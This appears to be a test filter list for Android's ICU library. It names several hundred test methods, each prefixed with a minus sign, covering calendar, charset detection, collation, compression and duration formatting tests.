-android.icu.dev.test.calendar.CalendarRegression#Test4040996
-android.icu.dev.test.calendar.CalendarRegression#Test4051765
-android.icu.dev.test.calendar.CalendarRegression#Test4059654
-android.icu.dev.test.calendar.CalendarRegression#Test4061476
-android.icu.dev.test.calendar.CalendarRegression#Test4070502
-android.icu.dev.test.calendar.CalendarRegression#Test4071197
-android.icu.dev.test.calendar.CalendarRegression#Test4071385
-android.icu.dev.test.calendar.CalendarRegression#Test4073929
-android.icu.dev.test.calendar.CalendarRegression#Test4083167
-android.icu.dev.test.calendar.CalendarRegression#Test4086724
-android.icu.dev.test.calendar.CalendarRegression#Test4092362
-android.icu.dev.test.calendar.CalendarRegression#Test4095407
-android.icu.dev.test.calendar.CalendarRegression#Test4096231
-android.icu.dev.test.calendar.CalendarRegression#Test4096539
-android.icu.dev.test.calendar.CalendarRegression#Test4100311
-android.icu.dev.test.calendar.CalendarRegression#Test4103271
-android.icu.dev.test.calendar.CalendarRegression#Test4106136
-android.icu.dev.test.calendar.CalendarRegression#Test4108764
-android.icu.dev.test.calendar.CalendarRegression#Test4114578
-android.icu.dev.test.calendar.CalendarRegression#Test4118384
-android.icu.dev.test.calendar.CalendarRegression#Test4125881
-android.icu.dev.test.calendar.CalendarRegression#Test4125892
-android.icu.dev.test.calendar.CalendarRegression#Test4136399
-android.icu.dev.test.calendar.CalendarRegression#Test4141665
-android.icu.dev.test.calendar.CalendarRegression#Test4142933
-android.icu.dev.test.calendar.CalendarRegression#Test4145158
-android.icu.dev.test.calendar.CalendarRegression#Test4145983
-android.icu.dev.test.calendar.CalendarRegression#Test4147269
-android.icu.dev.test.calendar.CalendarRegression#Test4149677
-android.icu.dev.test.calendar.CalendarRegression#Test4162587
-android.icu.dev.test.calendar.CalendarRegression#Test4165343
-android.icu.dev.test.calendar.CalendarRegression#Test4166109
-android.icu.dev.test.calendar.CalendarRegression#Test4167060
-android.icu.dev.test.calendar.CalendarRegression#Test4173516
-android.icu.dev.test.calendar.CalendarRegression#Test4174361
-android.icu.dev.test.calendar.CalendarRegression#Test4177484
-android.icu.dev.test.calendar.CalendarRegression#Test4197699
-android.icu.dev.test.calendar.CalendarRegression#Test4209071
-android.icu.dev.test.calendar.CalendarRegression#Test4288792
-android.icu.dev.test.calendar.CalendarRegression#Test9019
-android.icu.dev.test.calendar.CalendarRegression#TestCalendarType6816
-android.icu.dev.test.calendar.CalendarRegression#TestDateFormatFactoryJ26
-android.icu.dev.test.calendar.CalendarRegression#TestGetKeywordValuesForLocale
-android.icu.dev.test.calendar.CalendarRegression#TestJ438
-android.icu.dev.test.calendar.CalendarRegression#TestJ9
-android.icu.dev.test.calendar.CalendarRegression#TestRegistration
-android.icu.dev.test.calendar.CalendarRegression#TestSerialization3474
-android.icu.dev.test.calendar.CalendarRegression#TestT5555
-android.icu.dev.test.calendar.CalendarRegression#TestT8057
-android.icu.dev.test.calendar.CalendarRegression#TestT8596
-android.icu.dev.test.calendar.CalendarRegression#TestT9403
-android.icu.dev.test.calendar.CalendarRegression#TestT9452
-android.icu.dev.test.calendar.CalendarRegression#TestT9968
-android.icu.dev.test.calendar.CalendarRegression#TestTimeStamp
-android.icu.dev.test.calendar.CalendarRegression#TestWeekendData_10560
-android.icu.dev.test.calendar.CalendarRegression#TestYearJump3279
-android.icu.dev.test.calendar.ChineseTest#Test6510
-android.icu.dev.test.calendar.ChineseTest#TestAdd
-android.icu.dev.test.calendar.ChineseTest#TestCoverage
-android.icu.dev.test.calendar.ChineseTest#TestFormat
-android.icu.dev.test.calendar.ChineseTest#TestInitWithCurrentTime
-android.icu.dev.test.calendar.ChineseTest#TestJulianDayMapping
-android.icu.dev.test.calendar.ChineseTest#TestLimits
-android.icu.dev.test.calendar.ChineseTest#TestMapping
-android.icu.dev.test.calendar.ChineseTest#TestOutOfRange
-android.icu.dev.test.calendar.ChineseTest#TestResolution
-android.icu.dev.test.calendar.ChineseTest#TestRoll
-android.icu.dev.test.calendar.ChineseTest#TestScratch
-android.icu.dev.test.calendar.ChineseTest#TestZeroDOM
-android.icu.dev.test.calendar.CompatibilityTest#TestActualMinMax
-android.icu.dev.test.calendar.CompatibilityTest#TestAdd520
-android.icu.dev.test.calendar.CompatibilityTest#TestAddAcrossOffsetTransitions
-android.icu.dev.test.calendar.CompatibilityTest#TestAddSetGet0610
-android.icu.dev.test.calendar.CompatibilityTest#TestAddSetOrder621
-android.icu.dev.test.calendar.CompatibilityTest#TestClonesUnique908
-android.icu.dev.test.calendar.CompatibilityTest#TestComputeJulianDay4406
-android.icu.dev.test.calendar.CompatibilityTest#TestDisambiguation765
-android.icu.dev.test.calendar.CompatibilityTest#TestDOW943
-android.icu.dev.test.calendar.CompatibilityTest#TestDOWProgression
-android.icu.dev.test.calendar.CompatibilityTest#TestEpochStartFields
-android.icu.dev.test.calendar.CompatibilityTest#TestFields060
-android.icu.dev.test.calendar.CompatibilityTest#TestFieldSet4781
-android.icu.dev.test.calendar.CompatibilityTest#TestGenericAPI
-android.icu.dev.test.calendar.CompatibilityTest#TestGMTvsLocal4064654
-android.icu.dev.test.calendar.CompatibilityTest#TestGregorianChange768
-android.icu.dev.test.calendar.CompatibilityTest#TestGregorianChangeover
-android.icu.dev.test.calendar.CompatibilityTest#TestMapping
-android.icu.dev.test.calendar.CompatibilityTest#TestRog
-android.icu.dev.test.calendar.CompatibilityTest#TestRoll
-android.icu.dev.test.calendar.CompatibilityTest#TestSecondsZero121
-android.icu.dev.test.calendar.CompatibilityTest#TestSerialize337
-android.icu.dev.test.calendar.CopticTest#Test6379
-android.icu.dev.test.calendar.CopticTest#TestAddSet
-android.icu.dev.test.calendar.CopticTest#TestBasic
-android.icu.dev.test.calendar.CopticTest#TestCases
-android.icu.dev.test.calendar.CopticTest#TestCopticToJD
-android.icu.dev.test.calendar.CopticTest#TestCoverage
-android.icu.dev.test.calendar.CopticTest#TestEraStart
-android.icu.dev.test.calendar.CopticTest#TestLimits
-android.icu.dev.test.calendar.CopticTest#TestYear
-android.icu.dev.test.calendar.DataDrivenCalendarTest#TestCalendarConversion
-android.icu.dev.test.calendar.DataDrivenCalendarTest#TestCalendarOperations
-android.icu.dev.test.calendar.EthiopicTest#TestAddSet
-android.icu.dev.test.calendar.EthiopicTest#TestBasic
-android.icu.dev.test.calendar.EthiopicTest#TestCases
-android.icu.dev.test.calendar.EthiopicTest#TestCoverage
-android.icu.dev.test.calendar.EthiopicTest#TestEraStart
-android.icu.dev.test.calendar.EthiopicTest#TestJD
-android.icu.dev.test.calendar.EthiopicTest#TestLimits
-android.icu.dev.test.calendar.HebrewTest#Test1624
-android.icu.dev.test.calendar.HebrewTest#TestAdd
-android.icu.dev.test.calendar.HebrewTest#TestCases
-android.icu.dev.test.calendar.HebrewTest#TestCoverage
-android.icu.dev.test.calendar.HebrewTest#TestDefaultFieldValues
-android.icu.dev.test.calendar.HebrewTest#TestElulMonth
-android.icu.dev.test.calendar.HebrewTest#TestLimits
-android.icu.dev.test.calendar.HebrewTest#TestMonthMovement
-android.icu.dev.test.calendar.HebrewTest#TestMonthValidation
-android.icu.dev.test.calendar.HebrewTest#TestRoll
-android.icu.dev.test.calendar.HebrewTest#TestTimeFields
-android.icu.dev.test.calendar.HolidayTest#TestAPI
-android.icu.dev.test.calendar.HolidayTest#TestCoverage
-android.icu.dev.test.calendar.HolidayTest#TestDisplayName
-android.icu.dev.test.calendar.HolidayTest#TestEaster
-android.icu.dev.test.calendar.HolidayTest#TestIsOn
-android.icu.dev.test.calendar.IBMCalendarTest#TestAddAcrossZoneTransition
-android.icu.dev.test.calendar.IBMCalendarTest#TestAddRollEra0AndEraBounds
-android.icu.dev.test.calendar.IBMCalendarTest#TestAmbiguousWallTimeAPIs
-android.icu.dev.test.calendar.IBMCalendarTest#TestBuddhist
-android.icu.dev.test.calendar.IBMCalendarTest#TestBuddhistCoverage
-android.icu.dev.test.calendar.IBMCalendarTest#TestBuddhistLimits
-android.icu.dev.test.calendar.IBMCalendarTest#TestComparable
-android.icu.dev.test.calendar.IBMCalendarTest#TestCoverage
-android.icu.dev.test.calendar.IBMCalendarTest#TestFieldDifference
-android.icu.dev.test.calendar.IBMCalendarTest#TestGregorianLimits
-android.icu.dev.test.calendar.IBMCalendarTest#TestISO8601
-android.icu.dev.test.calendar.IBMCalendarTest#TestJapanese
-android.icu.dev.test.calendar.IBMCalendarTest#TestJB1684
-android.icu.dev.test.calendar.IBMCalendarTest#TestJB4541
-android.icu.dev.test.calendar.IBMCalendarTest#TestLeapFieldDifference
-android.icu.dev.test.calendar.IBMCalendarTest#TestMalaysianInstance
-android.icu.dev.test.calendar.IBMCalendarTest#TestRepeatedWallTime
-android.icu.dev.test.calendar.IBMCalendarTest#TestSimpleDateFormatCoverage
-android.icu.dev.test.calendar.IBMCalendarTest#TestSkippedWallTime
-android.icu.dev.test.calendar.IBMCalendarTest#TestTaiwan
-android.icu.dev.test.calendar.IBMCalendarTest#TestTaiwanCoverage
-android.icu.dev.test.calendar.IBMCalendarTest#TestTaiwanLimits
-android.icu.dev.test.calendar.IBMCalendarTest#TestThaiDefault
-android.icu.dev.test.calendar.IBMCalendarTest#TestTimeZoneTransitionAdd
-android.icu.dev.test.calendar.IBMCalendarTest#TestTypes
-android.icu.dev.test.calendar.IBMCalendarTest#TestWeekData
-android.icu.dev.test.calendar.IBMCalendarTest#TestWeekend
-android.icu.dev.test.calendar.IBMCalendarTest#TestWeekShift
-android.icu.dev.test.calendar.IBMCalendarTest#TestZoneMeta
-android.icu.dev.test.calendar.IndianTest#TestBasic
-android.icu.dev.test.calendar.IndianTest#TestCases
-android.icu.dev.test.calendar.IndianTest#TestCoverage
-android.icu.dev.test.calendar.IndianTest#TestCoverage12424
-android.icu.dev.test.calendar.IndianTest#TestLimits
-android.icu.dev.test.calendar.IndianTest#TestYear
-android.icu.dev.test.calendar.IndianTest#TestYearEdge
-android.icu.dev.test.calendar.IslamicTest#Test7427
-android.icu.dev.test.calendar.IslamicTest#Test8822
-android.icu.dev.test.calendar.IslamicTest#TestBasic
-android.icu.dev.test.calendar.IslamicTest#TestCivilCases
-android.icu.dev.test.calendar.IslamicTest#TestCoverage
-android.icu.dev.test.calendar.IslamicTest#TestCreationByLocale
-android.icu.dev.test.calendar.IslamicTest#TestIslamicTabularDates
-android.icu.dev.test.calendar.IslamicTest#TestIslamicUmAlQura
-android.icu.dev.test.calendar.IslamicTest#TestLimits
-android.icu.dev.test.calendar.IslamicTest#TestRoll
-android.icu.dev.test.calendar.IslamicTest#TestSerialization8449
-android.icu.dev.test.calendar.JapaneseTest#Test3860
-android.icu.dev.test.calendar.JapaneseTest#Test5345calendar
-android.icu.dev.test.calendar.JapaneseTest#Test5345parse
-android.icu.dev.test.calendar.JapaneseTest#TestCoverage
-android.icu.dev.test.calendar.JapaneseTest#TestJapaneseYear3282
-android.icu.dev.test.calendar.JapaneseTest#TestLimits
-android.icu.dev.test.calendar.PersianTest#TestCoverage12424
-android.icu.dev.test.calendar.PersianTest#TestMapping
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestArabic
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestBufferOverflow
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestBug6889
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestBug6954
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestBug9267
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestC1Bytes
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestCharsetRecog_UTF_16_LE_Match
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestConstruction
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestDetection
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestFreshDetectorEachTime
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestHebrew
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestInputFilter
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestJapanese
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestMultithreaded
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestReusingDetector
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestShortInput
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestUTF16
-android.icu.dev.test.charsetdet.TestCharsetDetector#TestUTF8
-android.icu.dev.test.collator.AlphabeticIndexTest#TestA
-android.icu.dev.test.collator.AlphabeticIndexTest#TestBasics
-android.icu.dev.test.collator.AlphabeticIndexTest#TestBuckets
-android.icu.dev.test.collator.AlphabeticIndexTest#TestChineseUnihan
-android.icu.dev.test.collator.AlphabeticIndexTest#TestChineseZhuyin
-android.icu.dev.test.collator.AlphabeticIndexTest#TestClientSupport
-android.icu.dev.test.collator.AlphabeticIndexTest#TestEmpty
-android.icu.dev.test.collator.AlphabeticIndexTest#TestFirstCharacters
-android.icu.dev.test.collator.AlphabeticIndexTest#TestFirstScriptCharacters
-android.icu.dev.test.collator.AlphabeticIndexTest#TestFrozenCollator
-android.icu.dev.test.collator.AlphabeticIndexTest#TestHaniFirst
-android.icu.dev.test.collator.AlphabeticIndexTest#TestIndexCharactersList
-android.icu.dev.test.collator.AlphabeticIndexTest#TestInflow
-android.icu.dev.test.collator.AlphabeticIndexTest#TestJapaneseKanji
-android.icu.dev.test.collator.AlphabeticIndexTest#TestNoLabels
-android.icu.dev.test.collator.AlphabeticIndexTest#TestPinyinFirst
-android.icu.dev.test.collator.AlphabeticIndexTest#TestSchSt
-android.icu.dev.test.collator.AlphabeticIndexTest#TestSimplified
-android.icu.dev.test.collator.AlphabeticIndexTest#TestTraditional
-android.icu.dev.test.collator.AlphabeticIndexTest#TestZZZ
-android.icu.dev.test.collator.CollationAPITest#TestBadKeywords
-android.icu.dev.test.collator.CollationAPITest#TestBounds
-android.icu.dev.test.collator.CollationAPITest#TestClone
-android.icu.dev.test.collator.CollationAPITest#TestCollationKey
-android.icu.dev.test.collator.CollationAPITest#TestCompare
-android.icu.dev.test.collator.CollationAPITest#TestCreateCollator
-android.icu.dev.test.collator.CollationAPITest#TestDecomposition
-android.icu.dev.test.collator.CollationAPITest#TestDuplicate
-android.icu.dev.test.collator.CollationAPITest#TestElemIter
-android.icu.dev.test.collator.CollationAPITest#TestGetAll
-android.icu.dev.test.collator.CollationAPITest#TestGetContractions
-android.icu.dev.test.collator.CollationAPITest#TestGetKeywordValues
-android.icu.dev.test.collator.CollationAPITest#TestGetLocale
-android.icu.dev.test.collator.CollationAPITest#TestGetTailoredSet
-android.icu.dev.test.collator.CollationAPITest#TestHashCode
-android.icu.dev.test.collator.CollationAPITest#TestIterNumeric
-android.icu.dev.test.collator.CollationAPITest#TestJunkCollator
-android.icu.dev.test.collator.CollationAPITest#TestMaxVariable
-android.icu.dev.test.collator.CollationAPITest#TestProperty
-android.icu.dev.test.collator.CollationAPITest#TestRawCollationKey
-android.icu.dev.test.collator.CollationAPITest#TestRuleBasedColl
-android.icu.dev.test.collator.CollationAPITest#TestRules
-android.icu.dev.test.collator.CollationAPITest#TestSafeClone
-android.icu.dev.test.collator.CollationAPITest#TestSetDecomposition
-android.icu.dev.test.collator.CollationAPITest#TestSetGet
-android.icu.dev.test.collator.CollationAPITest#TestSetStrength
-android.icu.dev.test.collator.CollationAPITest#TestSubClass
-android.icu.dev.test.collator.CollationAPITest#TestVariableTopSetting
-android.icu.dev.test.collator.CollationChineseTest#TestPinYin
-android.icu.dev.test.collator.CollationCurrencyTest#TestCurrency
-android.icu.dev.test.collator.CollationDummyTest#TestExtra
-android.icu.dev.test.collator.CollationDummyTest#TestIdentical
-android.icu.dev.test.collator.CollationDummyTest#TestJB1401
-android.icu.dev.test.collator.CollationDummyTest#TestJB581
-android.icu.dev.test.collator.CollationDummyTest#TestPrimary
-android.icu.dev.test.collator.CollationDummyTest#TestSecondary
-android.icu.dev.test.collator.CollationDummyTest#TestSurrogates
-android.icu.dev.test.collator.CollationDummyTest#TestTertiary
-android.icu.dev.test.collator.CollationDummyTest#TestVariableTop
-android.icu.dev.test.collator.CollationEnglishTest#TestPrimary
-android.icu.dev.test.collator.CollationEnglishTest#TestSecondary
-android.icu.dev.test.collator.CollationEnglishTest#TestTertiary
-android.icu.dev.test.collator.CollationFinnishTest#TestPrimary
-android.icu.dev.test.collator.CollationFinnishTest#TestTertiary
-android.icu.dev.test.collator.CollationFrenchTest#TestContinuationReordering
-android.icu.dev.test.collator.CollationFrenchTest#TestExtra
-android.icu.dev.test.collator.CollationFrenchTest#TestSecondary
-android.icu.dev.test.collator.CollationFrenchTest#TestTertiary
-android.icu.dev.test.collator.CollationGermanTest#TestPrimary
-android.icu.dev.test.collator.CollationGermanTest#TestSecondary
-android.icu.dev.test.collator.CollationGermanTest#TestTertiary
-android.icu.dev.test.collator.CollationIteratorTest#TestClearBuffers
-android.icu.dev.test.collator.CollationIteratorTest#TestDiscontiguous
-android.icu.dev.test.collator.CollationIteratorTest#TestMaxExpansion
-android.icu.dev.test.collator.CollationIteratorTest#TestNormalization
-android.icu.dev.test.collator.CollationIteratorTest#TestNormalizedUnicodeChar
-android.icu.dev.test.collator.CollationIteratorTest#TestOffset
-android.icu.dev.test.collator.CollationIteratorTest#TestPrevious
-android.icu.dev.test.collator.CollationIteratorTest#TestSearchCollatorElements
-android.icu.dev.test.collator.CollationIteratorTest#TestSetText
-android.icu.dev.test.collator.CollationIteratorTest#TestUnicodeChar
-android.icu.dev.test.collator.CollationKanaTest#TestBase
-android.icu.dev.test.collator.CollationKanaTest#TestChooonKigoo
-android.icu.dev.test.collator.CollationKanaTest#TestCommonCharacters
-android.icu.dev.test.collator.CollationKanaTest#TestKatakanaHiragana
-android.icu.dev.test.collator.CollationKanaTest#TestPlainDakutenHandakuten
-android.icu.dev.test.collator.CollationKanaTest#TestSmallLarge
-android.icu.dev.test.collator.CollationKanaTest#TestTertiary
-android.icu.dev.test.collator.CollationMiscTest#Test3249
-android.icu.dev.test.collator.CollationMiscTest#Test6179
-android.icu.dev.test.collator.CollationMiscTest#TestBefore
-android.icu.dev.test.collator.CollationMiscTest#TestBeforePinyin
-android.icu.dev.test.collator.CollationMiscTest#TestBeforePrefixFailure
-android.icu.dev.test.collator.CollationMiscTest#TestBeforeRuleWithScriptReordering
-android.icu.dev.test.collator.CollationMiscTest#TestBlackBird
-android.icu.dev.test.collator.CollationMiscTest#TestBocsuCoverage
-android.icu.dev.test.collator.CollationMiscTest#TestCase
-android.icu.dev.test.collator.CollationMiscTest#TestChMove
-android.icu.dev.test.collator.CollationMiscTest#TestCollationKeyEquals
-android.icu.dev.test.collator.CollationMiscTest#TestCollationKeyHashCode
-android.icu.dev.test.collator.CollationMiscTest#TestComposeDecompose
-android.icu.dev.test.collator.CollationMiscTest#TestContraction
-android.icu.dev.test.collator.CollationMiscTest#TestContractionClosure
-android.icu.dev.test.collator.CollationMiscTest#TestContractionEndCompare
-android.icu.dev.test.collator.CollationMiscTest#TestCyrillicTailoring
-android.icu.dev.test.collator.CollationMiscTest#TestEmptyRule
-android.icu.dev.test.collator.CollationMiscTest#TestEquivalentReorderingScripts
-android.icu.dev.test.collator.CollationMiscTest#TestExpansion
-android.icu.dev.test.collator.CollationMiscTest#TestExtremeCompression
-android.icu.dev.test.collator.CollationMiscTest#TestFCDProblem
-android.icu.dev.test.collator.CollationMiscTest#TestFrozeness
-android.icu.dev.test.collator.CollationMiscTest#TestFunkyA
-android.icu.dev.test.collator.CollationMiscTest#TestGetBound
-android.icu.dev.test.collator.CollationMiscTest#TestGreekFirstReorder
-android.icu.dev.test.collator.CollationMiscTest#TestGreekFirstReorderCloning
-android.icu.dev.test.collator.CollationMiscTest#TestGreekLastReorder
-android.icu.dev.test.collator.CollationMiscTest#TestHangulTailoring
-android.icu.dev.test.collator.CollationMiscTest#TestHaniReorder
-android.icu.dev.test.collator.CollationMiscTest#TestHaniReorderWithOtherRules
-android.icu.dev.test.collator.CollationMiscTest#TestHungarianTailoring
-android.icu.dev.test.collator.CollationMiscTest#TestIdenticalCompare
-android.icu.dev.test.collator.CollationMiscTest#TestImplicitTailoring
-android.icu.dev.test.collator.CollationMiscTest#TestIncompleteCnt
-android.icu.dev.test.collator.CollationMiscTest#TestIncrementalNormalize
-android.icu.dev.test.collator.CollationMiscTest#TestInvalidListsAndRanges
-android.icu.dev.test.collator.CollationMiscTest#TestJ3087
-android.icu.dev.test.collator.CollationMiscTest#TestJ3347
-android.icu.dev.test.collator.CollationMiscTest#TestJ4960
-android.icu.dev.test.collator.CollationMiscTest#TestJ5367
-android.icu.dev.test.collator.CollationMiscTest#TestJ815
-android.icu.dev.test.collator.CollationMiscTest#TestJB5298
-android.icu.dev.test.collator.CollationMiscTest#TestLocaleRuleBasedCollators
-android.icu.dev.test.collator.CollationMiscTest#TestMaxVariable
-android.icu.dev.test.collator.CollationMiscTest#TestMerge
-android.icu.dev.test.collator.CollationMiscTest#TestMergeSortKeys
-android.icu.dev.test.collator.CollationMiscTest#TestMultipleReorder
-android.icu.dev.test.collator.CollationMiscTest#TestNewJapanese
-android.icu.dev.test.collator.CollationMiscTest#TestNonChars
-android.icu.dev.test.collator.CollationMiscTest#TestNonLeadBytesDuringCollationReordering
-android.icu.dev.test.collator.CollationMiscTest#TestNonScriptReorder
-android.icu.dev.test.collator.CollationMiscTest#TestNumericCollation
-android.icu.dev.test.collator.CollationMiscTest#TestOptimize
-android.icu.dev.test.collator.CollationMiscTest#TestPinyinProblem
-android.icu.dev.test.collator.CollationMiscTest#TestPrefix
-android.icu.dev.test.collator.CollationMiscTest#TestPrefixCompose
-android.icu.dev.test.collator.CollationMiscTest#TestQuoteAndSpace
-android.icu.dev.test.collator.CollationMiscTest#TestRawCollationKeyCompareTo
-android.icu.dev.test.collator.CollationMiscTest#TestReorderingAPI
-android.icu.dev.test.collator.CollationMiscTest#TestReorderingAPIWithRuleCreatedCollator
-android.icu.dev.test.collator.CollationMiscTest#TestRuleOptions
-android.icu.dev.test.collator.CollationMiscTest#TestSameStrengthList
-android.icu.dev.test.collator.CollationMiscTest#TestSameStrengthListQuoted
-android.icu.dev.test.collator.CollationMiscTest#TestSameStrengthListQwerty
-android.icu.dev.test.collator.CollationMiscTest#TestSameStrengthListRanges
-android.icu.dev.test.collator.CollationMiscTest#TestSameStrengthListRangesWithSupplementalCharacters
-android.icu.dev.test.collator.CollationMiscTest#TestSameStrengthListWithSupplementalCharacters
-android.icu.dev.test.collator.CollationMiscTest#TestShifted
-android.icu.dev.test.collator.CollationMiscTest#TestSpecialCharacters
-android.icu.dev.test.collator.CollationMiscTest#TestStrCollIdenticalPrefix
-android.icu.dev.test.collator.CollationMiscTest#TestSuppressContractions
-android.icu.dev.test.collator.CollationMiscTest#TestSurrogates
-android.icu.dev.test.collator.CollationMiscTest#TestTibetanConformance
-android.icu.dev.test.collator.CollationMiscTest#TestUCAPrecontext
-android.icu.dev.test.collator.CollationMiscTest#TestUnknownCollationKeyword
-android.icu.dev.test.collator.CollationMiscTest#TestUpperFirstQuaternary
-android.icu.dev.test.collator.CollationMiscTest#TestVariableTop
-android.icu.dev.test.collator.CollationMiscTest#TestVariableTopSetting
-android.icu.dev.test.collator.CollationMiscTest#TestVI5913
-android.icu.dev.test.collator.CollationMonkeyTest#TestCollationKey
-android.icu.dev.test.collator.CollationMonkeyTest#TestCompare
-android.icu.dev.test.collator.CollationMonkeyTest#TestRules
-android.icu.dev.test.collator.CollationRegressionTest#Test4048446
-android.icu.dev.test.collator.CollationRegressionTest#Test4051866
-android.icu.dev.test.collator.CollationRegressionTest#Test4053636
-android.icu.dev.test.collator.CollationRegressionTest#Test4054238
-android.icu.dev.test.collator.CollationRegressionTest#Test4054734
-android.icu.dev.test.collator.CollationRegressionTest#Test4054736
-android.icu.dev.test.collator.CollationRegressionTest#Test4058613
-android.icu.dev.test.collator.CollationRegressionTest#Test4059820
-android.icu.dev.test.collator.CollationRegressionTest#Test4060154
-android.icu.dev.test.collator.CollationRegressionTest#Test4062418
-android.icu.dev.test.collator.CollationRegressionTest#Test4065540
-android.icu.dev.test.collator.CollationRegressionTest#Test4066189
-android.icu.dev.test.collator.CollationRegressionTest#Test4066696
-android.icu.dev.test.collator.CollationRegressionTest#Test4076676
-android.icu.dev.test.collator.CollationRegressionTest#Test4078588
-android.icu.dev.test.collator.CollationRegressionTest#Test4079231
-android.icu.dev.test.collator.CollationRegressionTest#Test4081866
-android.icu.dev.test.collator.CollationRegressionTest#Test4087241
-android.icu.dev.test.collator.CollationRegressionTest#Test4087243
-android.icu.dev.test.collator.CollationRegressionTest#Test4092260
-android.icu.dev.test.collator.CollationRegressionTest#Test4095316
-android.icu.dev.test.collator.CollationRegressionTest#Test4101940
-android.icu.dev.test.collator.CollationRegressionTest#Test4103436
-android.icu.dev.test.collator.CollationRegressionTest#Test4114076
-android.icu.dev.test.collator.CollationRegressionTest#Test4114077
-android.icu.dev.test.collator.CollationRegressionTest#Test4124632
-android.icu.dev.test.collator.CollationRegressionTest#Test4132736
-android.icu.dev.test.collator.CollationRegressionTest#Test4133509
-android.icu.dev.test.collator.CollationRegressionTest#Test4139572
-android.icu.dev.test.collator.CollationRegressionTest#Test4141640
-android.icu.dev.test.collator.CollationRegressionTest#Test4171974
-android.icu.dev.test.collator.CollationRegressionTest#Test4179216
-android.icu.dev.test.collator.CollationRegressionTest#Test4179686
-android.icu.dev.test.collator.CollationRegressionTest#Test4216006
-android.icu.dev.test.collator.CollationRegressionTest#Test4244884
-android.icu.dev.test.collator.CollationRegressionTest#Test4663220
-android.icu.dev.test.collator.CollationRegressionTest#Test8484
-android.icu.dev.test.collator.CollationRegressionTest#TestBeforeWithTooStrongAfter
-android.icu.dev.test.collator.CollationRegressionTest#TestBengaliSortKey
-android.icu.dev.test.collator.CollationRegressionTest#TestCaseFirstCompression
-android.icu.dev.test.collator.CollationRegressionTest#TestTrailingComment
-android.icu.dev.test.collator.CollationServiceTest#TestGetFunctionalEquivalent
-android.icu.dev.test.collator.CollationServiceTest#TestGetKeywordValues
-android.icu.dev.test.collator.CollationServiceTest#TestRegister
-android.icu.dev.test.collator.CollationServiceTest#TestRegisterFactory
-android.icu.dev.test.collator.CollationServiceTest#TestSeparateTrees
-android.icu.dev.test.collator.CollationSpanishTest#TestPrimary
-android.icu.dev.test.collator.CollationSpanishTest#TestTertiary
-android.icu.dev.test.collator.CollationTest#TestCollationWeights
-android.icu.dev.test.collator.CollationTest#TestFCD
-android.icu.dev.test.collator.CollationTest#TestImplicits
-android.icu.dev.test.collator.CollationTest#TestMinMax
-android.icu.dev.test.collator.CollationTest#TestRootElements
-android.icu.dev.test.collator.CollationTest#TestShortFCDData
-android.icu.dev.test.collator.CollationTest#TestSubSequence
-android.icu.dev.test.collator.CollationTest#TestTailoredElements
-android.icu.dev.test.collator.CollationThaiTest#TestCornerCases
-android.icu.dev.test.collator.CollationThaiTest#TestDictionary
-android.icu.dev.test.collator.CollationThaiTest#TestInvalidThai
-android.icu.dev.test.collator.CollationThaiTest#TestReordering
-android.icu.dev.test.collator.CollationThreadTest#testFrozen
-android.icu.dev.test.collator.CollationThreadTest#testThreads
-android.icu.dev.test.collator.CollationTurkishTest#TestPrimary
-android.icu.dev.test.collator.CollationTurkishTest#TestTertiary
-android.icu.dev.test.collator.G7CollationTest#TestDemo1
-android.icu.dev.test.collator.G7CollationTest#TestDemo2
-android.icu.dev.test.collator.G7CollationTest#TestDemo3
-android.icu.dev.test.collator.G7CollationTest#TestDemo4
-android.icu.dev.test.collator.LotusCollationKoreanTest#TestTertiary
-android.icu.dev.test.collator.UCAConformanceTest#TestRulesNonIgnorable
-android.icu.dev.test.collator.UCAConformanceTest#TestRulesShifted
-android.icu.dev.test.collator.UCAConformanceTest#TestTableNonIgnorable
-android.icu.dev.test.collator.UCAConformanceTest#TestTableShifted
-android.icu.dev.test.compression.DecompressionTest#TestDecompress
-android.icu.dev.test.compression.DecompressionTest#TestDecompression
-android.icu.dev.test.compression.ExhaustiveTest#testIterative
-android.icu.dev.test.compression.ExhaustiveTest#testMultipass
-android.icu.dev.test.compression.ExhaustiveTest#testSimple
-android.icu.dev.test.duration.DataReadWriteTest#testBool
-android.icu.dev.test.duration.DataReadWriteTest#testBoolArray
-android.icu.dev.test.duration.DataReadWriteTest#testCharacter
-android.icu.dev.test.duration.DataReadWriteTest#testCharacterArray
-android.icu.dev.test.duration.DataReadWriteTest#testNamedIndex
-android.icu.dev.test.duration.DataReadWriteTest#testNamedIndexArray
-android.icu.dev.test.duration.DataReadWriteTest#testOmittedFields
-android.icu.dev.test.duration.DataReadWriteTest#testOpenClose
-android.icu.dev.test.duration.DataReadWriteTest#testString
-android.icu.dev.test.duration.DataReadWriteTest#testStringArray
-android.icu.dev.test.duration.DataReadWriteTest#testStringTable
-android.icu.dev.test.duration.ICUDurationTest#TestBadLocaleError
-android.icu.dev.test.duration.ICUDurationTest#TestBadObjectError
-android.icu.dev.test.duration.ICUDurationTest#TestBasics
-android.icu.dev.test.duration.ICUDurationTest#TestDurationFormat
-android.icu.dev.test.duration.ICUDurationTest#TestFromNowTo
-android.icu.dev.test.duration.ICUDurationTest#TestResourceWithCalendar
-android.icu.dev.test.duration.ICUDurationTest#TestSimpleXMLDuration
-android.icu.dev.test.duration.ICUDurationTest#TestXMLDuration
-android.icu.dev.test.duration.languages.Test_en#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_en#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_en#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_en#testHalfUnits
-android.icu.dev.test.duration.languages.Test_en#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_en#testMediumForms
-android.icu.dev.test.duration.languages.Test_en#testMultipleUnits
